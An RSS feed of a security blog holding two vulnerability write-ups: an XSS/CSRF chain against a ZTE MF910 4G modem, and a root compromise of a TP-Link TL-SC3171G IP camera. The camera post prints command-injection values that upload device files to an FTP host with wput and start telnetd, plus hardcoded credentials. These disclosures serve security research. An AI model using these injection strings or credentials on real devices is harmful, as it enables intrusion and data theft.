<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Writeup &#8211; Team ROT Information Security</title>
	<atom:link href="/category/writeup/feed/" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Team ROT Information Security</description>
	<lastBuildDate>Sat, 29 Aug 2020 10:50:44 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>

<image>
	<url>/wp-content/uploads/2020/08/cropped-ROT2-WHITE-BG.eps_-2-32x32.png</url>
	<title>Writeup &#8211; Team ROT Information Security</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WAN-to-LAN exploitation of 4G broadband modem</title>
		<link>/wan-to-lan-exploitation-of-4g-broadband-modem/</link>
					<comments>/wan-to-lan-exploitation-of-4g-broadband-modem/#respond</comments>
		
		<dc:creator><![CDATA[woltage]]></dc:creator>
		<pubDate>Tue, 07 Nov 2017 15:17:23 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=720</guid>

					<description><![CDATA[Nowadays, wireless 4G connections are fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor's devices. This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.]]></description>
										<content:encoded><![CDATA[<h1>Introduction</h1>
<p>Nowadays, wireless 4G connections&nbsp;are&nbsp;fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include&nbsp;a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor&#8217;s devices.&nbsp;This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.<br />
The research was started by connecting the ZTE-device to a computer normally and a connection was initiated in a way the manual instructed. A moment later, the administrative web-interface&nbsp;revealed itself with a default password of <em>&#8216;1234&#8217;.</em><br />
<img decoding="async" class="alignnone size-full wp-image-797" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29.png" alt="Screen Shot 2017-05-05 at 0.13.29.png" width="2208" height="1532" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29.png 2208w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-300x208.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1030x715.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-768x533.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1536x1066.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-2048x1421.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1500x1041.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-705x489.png 705w" sizes="(max-width: 2208px) 100vw, 2208px" /></p>
<h1>WAN-to-LAN-attack: Send SMS-messages&nbsp;by chaining CSRF, XSS, weak default&nbsp;credentials and another CSRF</h1>
<p>The features&nbsp;provided by the web interface were examined and it was discovered that goform_set_cmd_process-functionality is used to send various commands to the modem. This&nbsp;functionality uses a single http-request in which various values are supplied with GET-parameters.<br />
The available commands were then examined and one of the most interesting commands was possibility&nbsp;to send SMS messages to given&nbsp;phone numbers. This command however requires that the user is authenticated to the web interface. It also requires that the &#8220;Referrer&#8221;-header of the http-request matches IP-address of the modem, thus making CSRF-attacks which originate from third-party domain impossible.<br />
<img decoding="async" class="alignnone size-full wp-image-799" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18.png" alt="Screen Shot 2017-05-05 at 0.15.18.png" width="2382" height="540" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18.png 2382w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-300x68.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1030x234.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-768x174.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1536x348.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-2048x464.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1500x340.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-705x160.png 705w" sizes="(max-width: 2382px) 100vw, 2382px" /><br />
Easiest way to bypass the previously mentioned protections would be finding XSS-vulnerabilities which allow sending requests with proper &#8220;Referrer&#8221;-value. Thus began the search for a XSS-vulnerability.<br />
None were found in the goform_set_cmd_process, however a single reflected XSS&nbsp;was found in goform_get_cmd_process-functionality that is used to fetch data from the modem. The web interface uses GET-parameter named &#8220;cmd&#8221; to specify which command the functionality should execute. By inserting a malicious javascript-payload to this GET-parameter, the server places this payload to the http-response thus triggering an XSS on the web interface.<br />
This XSS on the&nbsp;goform_get_cmd_process-functionality did not require any authentication and had no CSRF-protection, which made it a great initial attack point for further attacks.</p>
<p><img decoding="async" class="alignnone size-full wp-image-815" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45.png" alt="Screen Shot 2017-05-05 at 0.57.45.png" width="2078" height="770" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45.png 2078w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-300x111.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1030x382.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-768x285.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1536x569.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-2048x759.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1500x556.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-705x261.png 705w" sizes="(max-width: 2078px) 100vw, 2078px" /><br />
Next by crafting a special javascript payload for the XSS, it could be instructed to send http-request towards the SMS-functionality. As the&nbsp;request was sent from a page hosted by the modem via XSS, the &#8220;Referrer&#8221;-header value is now set to modem&#8217;s IP-address thus allowing access to the command.<br />
The SMS-functionality however still required that the user is authenticated. As the modem does not force users to change the default password and uses same password for every device, this was bypassed simply by using the XSS to send a login-request with default password.<br />
However a new problem was encountered during the exploitation attempt. The XSS allowed only a short payload which did not have enough space for sending the login-request and the SMS-message. This was&nbsp;bypassed fairly easily&nbsp;by splitting the payload in half. A&nbsp;second-stage payload contains the javascript that sends the login-command and the SMS-command.&nbsp;This second-stage payload is hosted on an external domain. A very simple first-stage payload was then supplied to the initial XSS and its only purpose is to load the second-stage payload script.</p>
<div id="attachment_803" style="width: 2440px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-803" decoding="async" class="alignnone size-full wp-image-803" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03.png" alt="Screen Shot 2017-05-05 at 0.50.03.png" width="2430" height="442" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03.png 2430w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-300x55.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1030x187.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-768x140.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1536x279.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-2048x373.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1500x273.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-705x128.png 705w" sizes="(max-width: 2430px) 100vw, 2430px" /><p id="caption-attachment-803" class="wp-caption-text">First-stage payload</p></div>
<div id="attachment_806" style="width: 1680px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-806" decoding="async" class="alignnone size-full wp-image-806" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25.png" alt="Screen Shot 2017-05-05 at 0.51.25.png" width="1670" height="292" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25.png 1670w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-300x52.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1030x180.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-768x134.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1536x269.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1500x262.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-705x123.png 705w" sizes="(max-width: 1670px) 100vw, 1670px" /><p id="caption-attachment-806" class="wp-caption-text">Second-stage payload</p></div>
<p>Finally, the exploitation succeeded and by executing a CSRF-attack from a page hosted in internet, the full exploit chain was executed and the&nbsp;SMS-messages were&nbsp;sent to phone numbers specified by the adversary. Exploitation of this kind of&nbsp;attack is fairly severe as it requires nearly no user interaction and the initial attack can begin from WAN-side.<br />
https://youtu.be/BLIWNBp-u34<br />
An example attack scenario would be for example, when the user clicks on a link on e.g Facebook, the payload will trigger and the exploit will login to the system and send tons of SMS messages to whichever number that adversary&nbsp;defined in the payload. This will then lead to a situation where monetary consequences are caused to the owner of the modem and the targeted phone number will be filled with spam-messages.<br />
<img decoding="async" class="alignnone size-full wp-image-824" src="http://165.232.69.132/wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm.png" alt="Pasted image at 2017_05_04 11_41 PM.png" width="770" height="588" srcset="/wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm.png 770w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-300x229.png 300w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-768x586.png 768w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-705x538.png 705w" sizes="(max-width: 770px) 100vw, 770px" /></p>
<h1>Modem Takeover</h1>
<p>In practice, a hacker will be able to change any settings from the MF910 device via the previously introduced CSRF-based exploit chain.&nbsp;For example, an adversary can hijack the web interface and take over the modem by using the exploit chain and the functionality which the modem uses for changing passwords.<br />
<img decoding="async" class="alignnone size-full wp-image-809" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49.png" alt="Screen Shot 2017-05-05 at 0.52.49.png" width="2532" height="202" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49.png 2532w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-300x24.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1030x82.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-768x61.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1536x123.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-2048x163.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1500x120.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-705x56.png 705w" sizes="(max-width: 2532px) 100vw, 2532px" /></p>
<h1>Stored XSS</h1>
<p>When creating new contacts, a &#8220;groupchoose&#8221;-parameter can be used to store malicious JavaScript payload&nbsp;in a&nbsp;contact that will be run each time contact page is opened.<br />
<img decoding="async" class="alignnone size-full wp-image-821" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47.png" alt="Screen Shot 2017-05-05 at 1.04.47.png" width="3092" height="490" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47.png 3092w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-300x48.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1030x163.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-768x122.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1536x243.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-2048x325.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1500x238.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-705x112.png 705w" sizes="(max-width: 3092px) 100vw, 3092px" /><br />
This vulnerability&nbsp;is also exploitable via WAN-to-LAN-attack by using the previously introduced exploit&nbsp;chain.</p>
<h1><img decoding="async" class="alignnone size-full wp-image-817" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36.png" alt="Screen Shot 2017-05-05 at 1.03.36.png" width="1452" height="984" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36.png 1452w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-300x203.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-1030x698.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-768x520.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-705x478.png 705w" sizes="(max-width: 1452px) 100vw, 1452px" /></h1>
<h1>Persistent denial-of-service</h1>
<p>The&nbsp;goform_set_cmd_process-functionality contains a command &#8220;SET_WEB_LANGUAGE&#8221;, which is used to specify language of the&nbsp;web interface. By setting value of this command to <em>fi&#8221;, brick</em>, the modem will be bricked and the user can’t access the web interface&nbsp;anymore. Only way to recover from this&nbsp;denial-of-service condition is to do a&nbsp;factory reset&nbsp;on the modem.<br />
<img decoding="async" class="alignnone size-full wp-image-789" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-04-19-at-9-07-10.jpg" alt="Screen Shot 2017-04-19 at 9.07.10.jpg" width="3360" height="2046"><br />
The vulnerability can be exploited through a simple CSRF, however it requires that the &#8220;Referrer&#8221;-header matches IP-address of the modem. Thus, the previously introduced&nbsp;exploit chain can be used to exploit also this in a WAN-to-LAN-attack.<br />
<img decoding="async" class="alignnone size-full wp-image-812" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08.png" alt="Screen Shot 2017-05-05 at 0.54.08.png" width="2186" height="98" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08.png 2186w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-300x13.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1030x46.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-768x34.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1536x69.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-2048x92.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1500x67.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-705x32.png 705w" sizes="(max-width: 2186px) 100vw, 2186px" /></p>
<h1>Conclusion</h1>
<p>Current state of security in IoT-devices seems miserable (&#8220;The S in IoT stands for security&#8221;). This product did not prove otherwise. However when these vulnerabilities were reported to the manufacturer, the manufacturer reacted very quickly&nbsp;and all findings were fixed within couple of days, so there is light at the end of the tunnel. New firmware versions which fix the vulnerabilities were released to the original device and to the re-branded devices.</p>
]]></content:encoded>
					
					<wfw:commentRss>/wan-to-lan-exploitation-of-4g-broadband-modem/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TP-Link TL-SC3171G IP-camera r00t</title>
		<link>/tp-link-tl-sc3171g-ip-camera-r00t/</link>
					<comments>/tp-link-tl-sc3171g-ip-camera-r00t/#respond</comments>
		
		<dc:creator><![CDATA[jvesiluoma]]></dc:creator>
		<pubDate>Fri, 17 Feb 2017 00:11:08 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=688</guid>

					<description><![CDATA[Hacking TP-Link TL-SC3171G IP-camera and gaining root access.]]></description>
										<content:encoded><![CDATA[<h1 style="text-align: center;">TP-Link TL-SC3171G IP-camera r00t</h1>
<hr>
<p><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image001.png"><img decoding="async" class="size-full wp-image-641 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image001.png" alt="" width="270" height="364"></a><br />
I have few of these and due to recent hackings of ip – cameras and IoT devices, I decided to take a look at my own cameras (that are behind NAT by the way)… It was an interesting thing to do some research on these devices and they were actually very easy to pop.<br />
Here is a method to root the device. Browsers connection was through Burp Suite so I could intercept and check the requests back and forth between the device and my browser. Of course, OWASP ZAP or something similar could also be used to do this.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image002.jpg"><img decoding="async" class=" wp-image-642 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image002.jpg" alt="" width="718" height="357"></a><br />
<em>TP-Link TL-SC3171G IP-camera main settings view.</em><br />
When browsing through the the web interface, I ended up to a page that showed devices syslog. Interesting.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image003.jpg"><img decoding="async" class=" wp-image-643 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image003.jpg" alt="" width="683" height="462"></a><br />
When checking the requests that were made to that page, I noticed that there was a very interesting request made to the device. It seems like the file is given as a parameter…<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image004.png"><img decoding="async" class=" wp-image-644 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image004.png" alt="" width="699" height="291"></a><br />
”<strong>READ.filePath=syslog”</strong> ? I changed that parameter to ”/etc/hosts” – file and noticed that I could read files from the device file system. Any file.<br />
<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image005.png"><img decoding="async" class="wp-image-645 alignnone" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image005.png" alt="" width="695" height="179"></a><br />
Now this would already be bad, more if I would have the knowledge for all the config files on this embedded system…<br />
After some enumeration, I didn’t find any ’jackpot’, so I moved on…After few minutes of research I found another interesting request that was made when testing the SMTP option on the device.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image006.png"><img decoding="async" class=" wp-image-646 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image006.png" alt="" width="721" height="579"></a></p>
<p>#1: I found a request that enabled me to write files anywhere I would like on the device. Thought this didn’t help me much, since I didn’t know where the cgi-bin was and there were no open ssh/telnet ports etc.<br />
<img decoding="async" class=" wp-image-647 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image007.jpg" alt="" width="765" height="271"><br />
#2: that same ”Test” option sended another request. It compiled a command from the info user had filled to the form.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image008.png"><img decoding="async" class=" wp-image-648 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image008.png" alt="" width="757" height="291"></a></p>
<p>As can be seen from the Response, the email-test command is composed from the sended values. After some tests I found out that the device had ’wput’ command (that was clear based on the FTP connection tests via devices admin page). I was able to upload all files to my own server with ’wput’, after I&nbsp; changed ”RcptToAddr1” value for example to…</p>
<ul>
<li><em>nonexisting@example.fi ; /bin/wput -t0 -u -nc -p -o/testftp.log /bin* </em><a href="ftp://xyz:xyz@10.0.0.8/"><em>ftp://xyz:xyz@10.0.0.8/</em></a><em>;</em>
<ul>
<li>Note 1: value had to be URL encoded so it goes through.</li>
<li>Note 2: Probably all variables include RCE possibility on that request since they are not properly sanitized.</li>
</ul>
</li>
</ul>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image009.png"><img decoding="async" class=" wp-image-649 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image009.png" alt="" width="554" height="583"></a></p>
<p>After I downloaded almost everything from the device ((/var/*, /etc/*, /web/*, /root/*, /usr/*, /bin/* /sbin/*…) through the FTP connection, I researched the files and noticed that there was telnetd in the busybox version included in the device. I once again modified the command through the email command (of course, in URL encoded format):</p>
<ul>
<li><em>xyz@x00.fi; /bin/telnetd ;</em></li>
</ul>
<p>And the gates were open…now port 23 answered:</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image010.jpg"><img decoding="async" class=" wp-image-650 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image010.jpg" alt="" width="312" height="101"></a></p>
<p>After few tests I noticed that the default user is ’qmik’ (argh, it says ”<em>QMIK login”…</em>) and the user had sudo rights.</p>
<p style="text-align: center;">&nbsp;&nbsp;&nbsp;<a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image011.jpg"><img decoding="async" class=" wp-image-651 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image011.jpg" alt="" width="501" height="227"></a> <a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image012.jpg"><img decoding="async" class=" wp-image-652 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image012.jpg" alt="" width="545" height="93"></a></p>
<p>Of course, prerequisite is that one would have access to the email test page and that requires admin rights to the device. But no worries, after some enumeration of files, I noticed that there is hardcoded credentials in the device ( <em>manufacture</em> / <em>erutcafunam </em>)…<br />
Oh, and that IP-camera doesn&#8217;t use any CSRF tokens, so it&#8217;s also possible to get your camera hacked by just visiting some malicious sites (if you&#8217;re logged in to the camera). Oh yes, and did you notice that the camera uses basic HTTP auth? That means your browser stays logged in until you close the browser.</p>
<p style="text-align: center;"><a href="http://www.vesiluoma.com/wp-content/uploads/2017/01/image013.jpg"><img decoding="async" class=" wp-image-653 aligncenter" src="http://www.vesiluoma.com/wp-content/uploads/2017/01/image013.jpg" alt="" width="688" height="190"></a></p>
<p style="text-align: left;">&#8211; apox</p>
]]></content:encoded>
					
					<wfw:commentRss>/tp-link-tl-sc3171g-ip-camera-r00t/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
